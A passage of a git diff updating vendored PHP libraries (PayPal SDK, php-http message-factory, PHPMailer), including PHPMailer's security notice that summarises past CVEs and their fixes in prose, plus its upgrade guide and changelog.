testDeserialize_returnsStringIfClassString() - { - $data = "something \t really \n fishy."; - $textSerializer = new Text(); - $this->assertEquals($data, $textSerializer->decode($data)); - } -} diff --git a/vendor/paypal/paypalhttp/tests/unit/Serializer/sample.txt b/vendor/paypal/paypalhttp/tests/unit/Serializer/sample.txt deleted file mode 100644 index 4429471b78..0000000000 --- a/vendor/paypal/paypalhttp/tests/unit/Serializer/sample.txt +++ /dev/null @@ -1 +0,0 @@ -Hello World! diff --git a/vendor/paypal/paypalhttp/tests/wiremock-standalone.jar b/vendor/paypal/paypalhttp/tests/wiremock-standalone.jar deleted file mode 100644 index 422aa196c8..0000000000 Binary files a/vendor/paypal/paypalhttp/tests/wiremock-standalone.jar and /dev/null differ diff --git a/vendor/paypal/rest-api-sdk-php/.gitattributes b/vendor/paypal/rest-api-sdk-php/.gitattributes new file mode 100644 index 0000000000..f34d169803 --- /dev/null +++ b/vendor/paypal/rest-api-sdk-php/.gitattributes @@ -0,0 +1,13 @@ +tests/ export-ignore +sample/ export-ignore +docs/ export-ignore +.coveralls.yml export-ignore +.editorconfig export-ignore +.releasinator.rb export-ignore +.travis.yml export-ignore +CONTRIBUTING.md export-ignore +Gemfile export-ignore +Gemfile.lock export-ignore +Rakefile export-ignore +generate-api.sh export-ignore + diff --git a/vendor/paypal/rest-api-sdk-php/.github/ISSUE_TEMPLATE.md b/vendor/paypal/rest-api-sdk-php/.github/ISSUE_TEMPLATE.md new file mode 100644 index 0000000000..642207f524 --- /dev/null +++ b/vendor/paypal/rest-api-sdk-php/.github/ISSUE_TEMPLATE.md @@ -0,0 +1,11 @@ + +### General information + +* SDK/Library version: +* Environment: +* `PayPal-Debug-ID` values: +* Language, language version, and OS: + +### Issue description + + diff --git a/vendor/paypal/rest-api-sdk-php/.gitignore b/vendor/paypal/rest-api-sdk-php/.gitignore new file mode 100644 index 0000000000..7e3441d0dc --- /dev/null +++ b/vendor/paypal/rest-api-sdk-php/.gitignore @@ -0,0 +1,25 @@ + +build +.DS_Store +phpunit.local.xml +*.log + +# IDE +.idea +.project +.settings +.buildpath +atlassian-ide-plugin.xml +*.bak + +# Composer +vendor +composer.lock +composer.phar + +# Project +var +tools + +# Groc +node_modules diff --git a/vendor/php-http/message-factory/.editorconfig b/vendor/php-http/message-factory/.editorconfig deleted file mode 100644 index 93299385b3..0000000000 --- a/vendor/php-http/message-factory/.editorconfig +++ /dev/null @@ -1,9 +0,0 @@ -root = true - -[*] -charset = utf-8 -end_of_line = lf -indent_size = 4 -indent_style = space -insert_final_newline = true -trim_trailing_whitespace = true diff --git a/vendor/php-http/message-factory/.php_cs b/vendor/php-http/message-factory/.php_cs deleted file mode 100644 index 72a00b6c1b..0000000000 --- a/vendor/php-http/message-factory/.php_cs +++ /dev/null @@ -1,13 +0,0 @@ - - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is furnished -to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. +Copyright (c) 2015 PHP HTTP Team + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is furnished +to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/vendor/php-http/message-factory/README.md b/vendor/php-http/message-factory/README.md index 5afe89788d..4654495a72 100644 --- a/vendor/php-http/message-factory/README.md +++ b/vendor/php-http/message-factory/README.md @@ -1,36 +1,36 @@ -# PSR-7 Message Factory - -[![Latest Version](https://img.shields.io/github/release/php-http/message-factory.svg?style=flat-square)](https://github.com/php-http/message-factory/releases) -[![Software License](https://img.shields.io/badge/license-MIT-brightgreen.svg?style=flat-square)](LICENSE) -[![Total Downloads](https://img.shields.io/packagist/dt/php-http/message-factory.svg?style=flat-square)](https://packagist.org/packages/php-http/message-factory) - -**Factory interfaces for PSR-7 HTTP Message.** - - -## Install - -Via Composer - -``` bash -$ composer require php-http/message-factory -``` - - -## Documentation - -Please see the [official documentation](http://php-http.readthedocs.org/en/latest/message-factory/). - - -## Contributing - -Please see [CONTRIBUTING](CONTRIBUTING.md) and [CONDUCT](CONDUCT.md) for details. - - -## Security - -If you discover any security related issues, please contact us at [security@php-http.org](mailto:security@php-http.org). - - -## License - -The MIT License (MIT). Please see [License File](LICENSE) for more information. +# PSR-7 Message Factory + +[![Latest Version](https://img.shields.io/github/release/php-http/message-factory.svg?style=flat-square)](https://github.com/php-http/message-factory/releases) +[![Software License](https://img.shields.io/badge/license-MIT-brightgreen.svg?style=flat-square)](LICENSE) +[![Total Downloads](https://img.shields.io/packagist/dt/php-http/message-factory.svg?style=flat-square)](https://packagist.org/packages/php-http/message-factory) + +**Factory interfaces for PSR-7 HTTP Message.** + + +## Install + +Via Composer + +``` bash +$ composer require php-http/message-factory +``` + + +## Documentation + +Please see the [official documentation](http://php-http.readthedocs.org/en/latest/message-factory/). + + +## Contributing + +Please see [CONTRIBUTING](CONTRIBUTING.md) and [CONDUCT](CONDUCT.md) for details. + + +## Security + +If you discover any security related issues, please contact us at [security@php-http.org](mailto:security@php-http.org). + + +## License + +The MIT License (MIT). Please see [License File](LICENSE) for more information. diff --git a/vendor/php-http/message-factory/composer.json b/vendor/php-http/message-factory/composer.json index 6addabda9f..7c72febe5b 100644 --- a/vendor/php-http/message-factory/composer.json +++ b/vendor/php-http/message-factory/composer.json @@ -1,27 +1,27 @@ -{ - "name": "php-http/message-factory", - "description": "Factory interfaces for PSR-7 HTTP Message", - "license": "MIT", - "keywords": ["http", "factory", "message", "stream", "uri"], - "homepage": "http://php-http.org", - "authors": [ - { - "name": "Márk Sági-Kazár", - "email": "mark.sagikazar@gmail.com" - } - ], - "require": { - "php": ">=5.4", - "psr/http-message": "^1.0" - }, - "autoload": { - "psr-4": { - "Http\\Message\\": "src/" - } - }, - "extra": { - "branch-alias": { - "dev-master": "1.0-dev" - } - } -} +{ + "name": "php-http/message-factory", + "description": "Factory interfaces for PSR-7 HTTP Message", + "license": "MIT", + "keywords": ["http", "factory", "message", "stream", "uri"], + "homepage": "http://php-http.org", + "authors": [ + { + "name": "Márk Sági-Kazár", + "email": "mark.sagikazar@gmail.com" + } + ], + "require": { + "php": ">=5.4", + "psr/http-message": "^1.0" + }, + "autoload": { + "psr-4": { + "Http\\Message\\": "src/" + } + }, + "extra": { + "branch-alias": { + "dev-master": "1.0-dev" + } + } +} diff --git a/vendor/php-http/message-factory/puli.json b/vendor/php-http/message-factory/puli.json index 501cea6d73..08d37627d1 100644 --- a/vendor/php-http/message-factory/puli.json +++ b/vendor/php-http/message-factory/puli.json @@ -1,43 +1,43 @@ -{ - "version": "1.0", - "binding-types": { - "Http\\Message\\MessageFactory": { - "description": "PSR-7 Message Factory", - "parameters": { - "depends": { - "description": "Optional class dependency which can be checked by consumers" - } - } - }, - "Http\\Message\\RequestFactory": { - "parameters": { - "depends": { - "description": "Optional class dependency which can be checked by consumers" - } - } - }, - "Http\\Message\\ResponseFactory": { - "parameters": { - "depends": { - "description": "Optional class dependency which can be checked by consumers" - } - } - }, - "Http\\Message\\StreamFactory": { - "description": "PSR-7 Stream Factory", - "parameters": { - "depends": { - "description": "Optional class dependency which can be checked by consumers" - } - } - }, - "Http\\Message\\UriFactory": { - "description": "PSR-7 URI Factory", - "parameters": { - "depends": { - "description": "Optional class dependency which can be checked by consumers" - } - } - } - } -} +{ + "version": "1.0", + "binding-types": { + "Http\\Message\\MessageFactory": { + "description": "PSR-7 Message Factory", + "parameters": { + "depends": { + "description": "Optional class dependency which can be checked by consumers" + } + } + }, + "Http\\Message\\RequestFactory": { + "parameters": { + "depends": { + "description": "Optional class dependency which can be checked by consumers" + } + } + }, + "Http\\Message\\ResponseFactory": { + "parameters": { + "depends": { + "description": "Optional class dependency which can be checked by consumers" + } + } + }, + "Http\\Message\\StreamFactory": { + "description": "PSR-7 Stream Factory", + "parameters": { + "depends": { + "description": "Optional class dependency which can be checked by consumers" + } + } + }, + "Http\\Message\\UriFactory": { + "description": "PSR-7 URI Factory", + "parameters": { + "depends": { + "description": "Optional class dependency which can be checked by consumers" + } + } + } + } +} diff --git a/vendor/php-http/message-factory/src/MessageFactory.php b/vendor/php-http/message-factory/src/MessageFactory.php index 06251991b2..965aaa804e 100644 --- a/vendor/php-http/message-factory/src/MessageFactory.php +++ b/vendor/php-http/message-factory/src/MessageFactory.php @@ -1,12 +1,12 @@ - - */ -interface MessageFactory extends RequestFactory, ResponseFactory -{ -} + + */ +interface MessageFactory extends RequestFactory, ResponseFactory +{ +} diff --git a/vendor/phpmailer/phpmailer/.codecov.yml b/vendor/phpmailer/phpmailer/.codecov.yml deleted file mode 100644 index 193a7e75d9..0000000000 --- a/vendor/phpmailer/phpmailer/.codecov.yml +++ /dev/null @@ -1,21 +0,0 @@ -codecov: - notify: - after_n_builds: 2 - -coverage: - round: nearest - # Status will be green when coverage is between 70 and 100%. - range: "70...100" - status: - project: - default: - threshold: 2% - paths: - - "src" - patch: - default: - threshold: 0% - paths: - - "src" - -comment: false diff --git a/vendor/phpmailer/phpmailer/.phan/config.php b/vendor/phpmailer/phpmailer/.phan/config.php deleted file mode 100644 index 023e351d6b..0000000000 --- a/vendor/phpmailer/phpmailer/.phan/config.php +++ /dev/null @@ -1,41 +0,0 @@ - [ - 'src', - 'vendor', - 'examples' - ], - - // A directory list that defines files that will be excluded - // from static analysis, but whose class and method - // information should be included. - // - // Generally, you'll want to include the directories for - // third-party code (such as "vendor/") in this list. - // - // n.b.: If you'd like to parse but not analyze 3rd - // party code, directories containing that code - // should be added to the `directory_list` as - // to `exclude_analysis_directory_list`. - "exclude_analysis_directory_list" => [ - 'vendor/' - ], - - 'skip_slow_php_options_warning' => true, - - 'exclude_file_regex' => '@^vendor/.*/(tests|Tests)/@', -]; diff --git a/vendor/phpmailer/phpmailer/SECURITY.md b/vendor/phpmailer/phpmailer/SECURITY.md index 5f545f2545..035a87f7b0 100644 --- a/vendor/phpmailer/phpmailer/SECURITY.md +++ b/vendor/phpmailer/phpmailer/SECURITY.md @@ -1,37 +1,37 @@ -# Security notices relating to PHPMailer - -Please disclose any security issues or vulnerabilities found through [Tidelift's coordinated disclosure system](https://tidelift.com/security) or to the maintainers privately. - -PHPMailer 6.4.1 and earlier contain a vulnerability that can result in untrusted code being called (if such code is injected into the host project's scope by other means). If the `$patternselect` parameter to `validateAddress()` is set to `'php'` (the default, defined by `PHPMailer::$validator`), and the global namespace contains a function called `php`, it will be called in preference to the built-in validator of the same name. Mitigated in PHPMailer 6.5.0 by denying the use of simple strings as validator function names. Recorded as [CVE-2021-3603](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-3603). Reported by [Vikrant Singh Chauhan](mailto:vi@hackberry.xyz) via [huntr.dev](https://www.huntr.dev/). - -PHPMailer versions 6.4.1 and earlier contain a possible remote code execution vulnerability through the `$lang_path` parameter of the `setLanguage()` method. If the `$lang_path` parameter is passed unfiltered from user input, it can be set to [a UNC path](https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats#unc-paths), and if an attacker is also able to persuade the server to load a file from that UNC path, a script file under their control may be executed. This vulnerability only applies to systems that resolve UNC paths, typically only Microsoft Windows. -PHPMailer 6.5.0 mitigates this by no longer treating translation files as PHP code, but by parsing their text content directly. This approach avoids the possibility of executing unknown code while retaining backward compatibility. This isn't ideal, so the current translation format is deprecated and will be replaced in the next major release. Recorded as [CVE-2021-34551](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-34551). Reported by [Jilin Diting Information Technology Co., Ltd](https://listensec.com) via Tidelift. - -PHPMailer versions between 6.1.8 and 6.4.0 contain a regression of the earlier CVE-2018-19296 object injection vulnerability as a result of [a fix for Windows UNC paths in 6.1.8](https://github.com/PHPMailer/PHPMailer/commit/e2e07a355ee8ff36aba21d0242c5950c56e4c6f9). Recorded as [CVE-2020-36326](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-36326). Reported by Fariskhi Vidyan via Tidelift. 6.4.1 fixes this issue, and also enforces stricter checks for URL schemes in local path contexts. - -PHPMailer versions 6.1.5 and earlier contain an output escaping bug that occurs in `Content-Type` and `Content-Disposition` when filenames passed into `addAttachment` and other methods that accept attachment names contain double quote characters, in contravention of RFC822 3.4.1. No specific vulnerability has been found relating to this, but it could allow file attachments to bypass attachment filters that are based on matching filename extensions. Recorded as [CVE-2020-13625](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-13625). Reported by Elar Lang of Clarified Security. - -PHPMailer versions prior to 6.0.6 and 5.2.27 are vulnerable to an object injection attack by passing `phar://` paths into `addAttachment()` and other functions that may receive unfiltered local paths, possibly leading to RCE. Recorded as [CVE-2018-19296](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-19296). See [this article](https://knasmueller.net/5-answers-about-php-phar-exploitation) for more info on this type of vulnerability. Mitigated by blocking the use of paths containing URL-protocol style prefixes such as `phar://`. Reported by Sehun Oh of cyberone.kr. - -PHPMailer versions prior to 5.2.24 (released July 26th 2017) have an XSS vulnerability in one of the code examples, [CVE-2017-11503](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-11503). The `code_generator.phps` example did not filter user input prior to output. This file is distributed with a `.phps` extension, so it it not normally executable unless it is explicitly renamed, and the file is not included when PHPMailer is loaded through composer, so it is safe by default. There was also an undisclosed potential XSS vulnerability in the default exception handler (unused by default). Patches for both issues kindly provided by Patrick Monnerat of the Fedora Project. - -PHPMailer versions prior to 5.2.22 (released January 9th 2017) have a local file disclosure vulnerability, [CVE-2017-5223](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-5223). If content passed into `msgHTML()` is sourced from unfiltered user input, relative paths can map to absolute local file paths and added as attachments. Also note that `addAttachment` (just like `file_get_contents`, `passthru`, `unlink`, etc) should not be passed user-sourced params either! Reported by Yongxiang Li of Asiasecurity. - -PHPMailer versions prior to 5.2.20 (released December 28th 2016) are vulnerable to [CVE-2016-10045](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-10045) a remote code execution vulnerability, responsibly reported by [Dawid Golunski](https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html), and patched by Paul Buonopane (@Zenexer). - -PHPMailer versions prior to 5.2.18 (released December 2016) are vulnerable to [CVE-2016-10033](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-10033) a remote code execution vulnerability, responsibly reported by [Dawid Golunski](http://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html). - -PHPMailer versions prior to 5.2.14 (released November 2015) are vulnerable to [CVE-2015-8476](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-8476) an SMTP CRLF injection bug permitting arbitrary message sending. - -PHPMailer versions prior to 5.2.10 (released May 2015) are vulnerable to [CVE-2008-5619](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-5619), a remote code execution vulnerability in the bundled html2text library. This file was removed in 5.2.10, so if you are using a version prior to that and make use of the html2text function, it's vitally important that you upgrade and remove this file. - -PHPMailer versions prior to 2.0.7 and 2.2.1 are vulnerable to [CVE-2012-0796](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-0796), an email header injection attack. - -Joomla 1.6.0 uses PHPMailer in an unsafe way, allowing it to reveal local file paths, reported in [CVE-2011-3747](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-3747). - -PHPMailer didn't sanitise the `$lang_path` parameter in `SetLanguage`. This wasn't a problem in itself, but some apps (PHPClassifieds, ATutor) also failed to sanitise user-provided parameters passed to it, permitting semi-arbitrary local file inclusion, reported in [CVE-2010-4914](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4914), [CVE-2007-2021](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-2021) and [CVE-2006-5734](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-5734). - -PHPMailer 1.7.2 and earlier contained a possible DDoS vulnerability reported in [CVE-2005-1807](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-1807). - -PHPMailer 1.7 and earlier (June 2003) have a possible vulnerability in the `SendmailSend` method where shell commands may not be sanitised. Reported in [CVE-2007-3215](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-3215). - +# Security notices relating to PHPMailer + +Please disclose any security issues or vulnerabilities found through [Tidelift's coordinated disclosure system](https://tidelift.com/security) or to the maintainers privately. + +PHPMailer 6.4.1 and earlier contain a vulnerability that can result in untrusted code being called (if such code is injected into the host project's scope by other means). If the `$patternselect` parameter to `validateAddress()` is set to `'php'` (the default, defined by `PHPMailer::$validator`), and the global namespace contains a function called `php`, it will be called in preference to the built-in validator of the same name. Mitigated in PHPMailer 6.5.0 by denying the use of simple strings as validator function names. Recorded as [CVE-2021-3603](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-3603). Reported by [Vikrant Singh Chauhan](mailto:vi@hackberry.xyz) via [huntr.dev](https://www.huntr.dev/). + +PHPMailer versions 6.4.1 and earlier contain a possible remote code execution vulnerability through the `$lang_path` parameter of the `setLanguage()` method. If the `$lang_path` parameter is passed unfiltered from user input, it can be set to [a UNC path](https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats#unc-paths), and if an attacker is also able to persuade the server to load a file from that UNC path, a script file under their control may be executed. This vulnerability only applies to systems that resolve UNC paths, typically only Microsoft Windows. +PHPMailer 6.5.0 mitigates this by no longer treating translation files as PHP code, but by parsing their text content directly. This approach avoids the possibility of executing unknown code while retaining backward compatibility. This isn't ideal, so the current translation format is deprecated and will be replaced in the next major release. Recorded as [CVE-2021-34551](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-34551). Reported by [Jilin Diting Information Technology Co., Ltd](https://listensec.com) via Tidelift. + +PHPMailer versions between 6.1.8 and 6.4.0 contain a regression of the earlier CVE-2018-19296 object injection vulnerability as a result of [a fix for Windows UNC paths in 6.1.8](https://github.com/PHPMailer/PHPMailer/commit/e2e07a355ee8ff36aba21d0242c5950c56e4c6f9). Recorded as [CVE-2020-36326](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-36326). Reported by Fariskhi Vidyan via Tidelift. 6.4.1 fixes this issue, and also enforces stricter checks for URL schemes in local path contexts. + +PHPMailer versions 6.1.5 and earlier contain an output escaping bug that occurs in `Content-Type` and `Content-Disposition` when filenames passed into `addAttachment` and other methods that accept attachment names contain double quote characters, in contravention of RFC822 3.4.1. No specific vulnerability has been found relating to this, but it could allow file attachments to bypass attachment filters that are based on matching filename extensions. Recorded as [CVE-2020-13625](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-13625). Reported by Elar Lang of Clarified Security. + +PHPMailer versions prior to 6.0.6 and 5.2.27 are vulnerable to an object injection attack by passing `phar://` paths into `addAttachment()` and other functions that may receive unfiltered local paths, possibly leading to RCE. Recorded as [CVE-2018-19296](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-19296). See [this article](https://knasmueller.net/5-answers-about-php-phar-exploitation) for more info on this type of vulnerability. Mitigated by blocking the use of paths containing URL-protocol style prefixes such as `phar://`. Reported by Sehun Oh of cyberone.kr. + +PHPMailer versions prior to 5.2.24 (released July 26th 2017) have an XSS vulnerability in one of the code examples, [CVE-2017-11503](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-11503). The `code_generator.phps` example did not filter user input prior to output. This file is distributed with a `.phps` extension, so it it not normally executable unless it is explicitly renamed, and the file is not included when PHPMailer is loaded through composer, so it is safe by default. There was also an undisclosed potential XSS vulnerability in the default exception handler (unused by default). Patches for both issues kindly provided by Patrick Monnerat of the Fedora Project. + +PHPMailer versions prior to 5.2.22 (released January 9th 2017) have a local file disclosure vulnerability, [CVE-2017-5223](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-5223). If content passed into `msgHTML()` is sourced from unfiltered user input, relative paths can map to absolute local file paths and added as attachments. Also note that `addAttachment` (just like `file_get_contents`, `passthru`, `unlink`, etc) should not be passed user-sourced params either! Reported by Yongxiang Li of Asiasecurity. + +PHPMailer versions prior to 5.2.20 (released December 28th 2016) are vulnerable to [CVE-2016-10045](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-10045) a remote code execution vulnerability, responsibly reported by [Dawid Golunski](https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html), and patched by Paul Buonopane (@Zenexer). + +PHPMailer versions prior to 5.2.18 (released December 2016) are vulnerable to [CVE-2016-10033](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-10033) a remote code execution vulnerability, responsibly reported by [Dawid Golunski](http://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html). + +PHPMailer versions prior to 5.2.14 (released November 2015) are vulnerable to [CVE-2015-8476](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-8476) an SMTP CRLF injection bug permitting arbitrary message sending. + +PHPMailer versions prior to 5.2.10 (released May 2015) are vulnerable to [CVE-2008-5619](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-5619), a remote code execution vulnerability in the bundled html2text library. This file was removed in 5.2.10, so if you are using a version prior to that and make use of the html2text function, it's vitally important that you upgrade and remove this file. + +PHPMailer versions prior to 2.0.7 and 2.2.1 are vulnerable to [CVE-2012-0796](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-0796), an email header injection attack. + +Joomla 1.6.0 uses PHPMailer in an unsafe way, allowing it to reveal local file paths, reported in [CVE-2011-3747](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-3747). + +PHPMailer didn't sanitise the `$lang_path` parameter in `SetLanguage`. This wasn't a problem in itself, but some apps (PHPClassifieds, ATutor) also failed to sanitise user-provided parameters passed to it, permitting semi-arbitrary local file inclusion, reported in [CVE-2010-4914](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4914), [CVE-2007-2021](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-2021) and [CVE-2006-5734](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-5734). + +PHPMailer 1.7.2 and earlier contained a possible DDoS vulnerability reported in [CVE-2005-1807](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-1807). + +PHPMailer 1.7 and earlier (June 2003) have a possible vulnerability in the `SendmailSend` method where shell commands may not be sanitised. Reported in [CVE-2007-3215](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-3215). + diff --git a/vendor/phpmailer/phpmailer/UPGRADING.md b/vendor/phpmailer/phpmailer/UPGRADING.md deleted file mode 100644 index 841194480b..0000000000 --- a/vendor/phpmailer/phpmailer/UPGRADING.md +++ /dev/null @@ -1,125 +0,0 @@ -# Upgrading from PHPMailer 5.2 to 6.0 - -PHPMailer 6.0 is a major update, breaking backward compatibility. - -If you're in doubt about how you should be using PHPMailer 6, take a look at the examples as they have all been updated to work in a PHPMailer 6.0 style. - -## PHP Version - -PHPMailer 6.0 requires PHP 5.5 or later, and is fully compatible with PHP 7.0. PHPMailer 5.2 supported PHP 5.0 and upwards, so if you need to run on a legacy PHP version, see the [PHPMailer 5.2-stable branch on Github](https://github.com/PHPMailer/PHPMailer/tree/5.2-stable). - -## Loading PHPMailer - -The single biggest change will be in the way that you load PHPMailer. In earlier versions you may have done this: - -```php -require 'PHPMailerAutoload.php'; -``` - -or - -```php -require 'class.phpmailer.php'; -require 'class.smtp.php'; -``` - -We recommend that you load PHPMailer via composer, using its standard autoloader, which you probably won't need to load if you're using it already, but in case you're not, you will need to do this instead: - -```php -require 'vendor/autoload.php'; -``` - -If you're not using composer, you can still load the classes manually, depending on what you're using: - -```php -require 'src/PHPMailer.php'; -require 'src/SMTP.php'; -require 'src/Exception.php'; -``` - -## Namespace -PHPMailer 6 uses a [namespace](http://php.net/manual/en/language.namespaces.rationale.php) of `PHPMailer\PHPMailer`, because it's the PHPMailer project within the PHPMailer organisation. You **must** import (with a `use` statement) classes you're using explicitly into your own namespace, or reference them absolutely in the global namespace - all the examples do this. This means the fully-qualified name of the main PHPMailer class is `PHPMailer\PHPMailer\PHPMailer`, which is a bit of a mouthful, but there's no harm in it! If you are using other PHPMailer classes explicitly (such as `SMTP` or `Exception`), you will need to import them into your namespace too. - -For example you might create an instance like this: - -```php -errorMessage(); -} catch (Exception $e) { - echo $e->getMessage(); -} -``` - -Convert it to: - -```php -use PHPMailer\PHPMailer\Exception; -... -try { -... -} catch (Exception $e) { - echo $e->errorMessage(); -} catch (\Exception $e) { - echo $e->getMessage(); -} -``` - -## OAuth2 Support -The OAuth2 implementation has been completely redesigned using the [OAuth2 packages](http://oauth2-client.thephpleague.com) from the [League of extraordinary packages](http://thephpleague.com), providing support for many more OAuth services, and you'll need to update your code if you were using OAuth in 5.2. See [the examples](https://github.com/PHPMailer/PHPMailer/tree/master/examples) and documentation in the [PHPMailer wiki](https://github.com/PHPMailer/PHPMailer/wiki). - -## Extras -Additional classes previously bundled in the `Extras` folder (such as htmlfilter and EasyPeasyICS) have been removed - use equivalent packages from [packagist.org](https://packagist.org) instead. - -## Other upgrade changes -See the changelog for full details. -* File structure simplified, classes live in the `src/` folder -* Most statically called functions now use the `static` keyword instead of `self`, so it's possible to override static internal functions in subclasses, for example `validateAddress()` -* Complete RFC standardisation on CRLF (`\r\n`) line breaks by default: - * `PHPMailer::$LE` still exists, but all uses of it are changed to `static::$LE` for easier overriding. It may be changed to `\n` automatically when sending via `mail()` on UNIX-like OSs - * `PHPMailer::CRLF` line ending constant removed - * The length of the line break is no longer used in line length calculations - * Similar changes to line break handling in SMTP and POP3 classes -* All elements previously marked as deprecated have been removed: - * `PHPMailer->Version` - * `PHPMailer->ReturnPath` - * `PHPMailer->PluginDir` - * `PHPMailer->encodeQPphp()` - * `SMTP->CRLF` - * `SMTP->Version` - * `SMTP->SMTP_PORT` - * `POP3->CRLF` - * `POP3->Version` -* NTLM authentication has been removed - it never worked anyway! - * `PHPMailer->Workstation` - * `PHPMailer->Realm` -* `SMTP::authenticate` method signature changed -* `parseAddresses()` is now static -* `validateAddress()` is now called statically from `parseAddresses()` -* `idnSupported()` is now static and is called statically from `punyencodeAddress()` -* `PHPMailer->SingleToArray` is now protected diff --git a/vendor/phpmailer/phpmailer/changelog.md b/vendor/phpmailer/phpmailer/changelog.md deleted file mode 100644 index 41d70f8c8a..0000000000 --- a/vendor/phpmailer/phpmailer/changelog.md +++ /dev/null @@ -1,962 +0,0 @@ -# PHPMailer Change Log - -## Version 6.5.1 (August 18th, 2021) -* Provisional support for PHP 8.1 -* Major overhaul of test suite -* Add codecov.io coverage reporting -* Prefer implicit TLS on port 465 as default encryption scheme in examples, as per RFC8314 -* Fix potential noisy output from IMAP address parser -* Stricter checking of custom MessageID validity -* Replace invalid default From address -* Support fallback for languages, so a request for `pt_xx` will fall back to `pt` rather than the default `en`. -* Support multi-line RFC2047 addresses in parseAddresses -* Improved Japanese translation - -Many thanks to @jrfnl for all her work. - -## Version 6.5.0 (June 16th, 2021) -* **SECURITY** Fixes CVE-2021-34551, a complex RCE affecting Windows hosts. See [SECURITY.md](SECURITY.md) for details. -* The fix for this issue changes the way that language files are loaded. While they remain in the same PHP-like format, they are processed as plain text, and any code in them will not be run, including operations such as concatenation using the `.` operator. -* *Deprecation* The current translation file format using PHP arrays is now deprecated; the next major version will introduce a new format. -* **SECURITY** Fixes CVE-2021-3603 that may permit untrusted code to be run from an address validator. See [SECURITY.md](SECURITY.md) for details. -* The fix for this issue includes a minor BC break: callables injected into `validateAddress`, or indirectly through the `$validator` class property, may no longer be simple strings. If you want to inject your own validator, provide a closure instead of a function name. -* Haraka message ID strings are now recognised - -## Version 6.4.1 (April 29th, 2021) -* **SECURITY** Fixes CVE-2020-36326, a regression of CVE-2018-19296 object injection introduced in 6.1.8, see SECURITY.md for details -* Reject more file paths that look like URLs, matching RFC3986 spec, blocking URLS using schemes such as `ssh2` -* Ensure 